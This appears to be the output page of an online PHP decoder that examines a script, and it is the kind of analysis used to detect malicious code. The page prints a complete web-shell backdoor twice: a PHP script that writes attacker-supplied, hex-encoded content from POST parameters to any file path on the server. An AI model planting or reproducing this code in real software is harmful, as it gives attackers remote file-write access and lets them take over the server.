Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $p=realpath(dirname(__FILE__)."/../").$_POST["a"]; $t=$_POST["b"]; ..

Decoded Output download

    <?php 
    $p=realpath(dirname(__FILE__)."/../").$_POST["a"]; 
    $t=$_POST["b"]; 
    $tt=""; 
    for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2)); 
    @fwrite(fopen($p,"w"),$tt); 
    echo "success!"; 
    ?>

Did this file decode correctly?

Original Code

    <?php
    $p=realpath(dirname(__FILE__)."/../").$_POST["a"];
    $t=$_POST["b"];
    $tt="";
    for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2));
    @fwrite(fopen($p,"w"),$tt);
    echo "success!";
    ?>

Function Calls

dirname 1
realpath 1

Variables

None

Stats

MD5 20113937186a66d2f83fc550086ef3e0
Eval Count 0
Decode Time 152 ms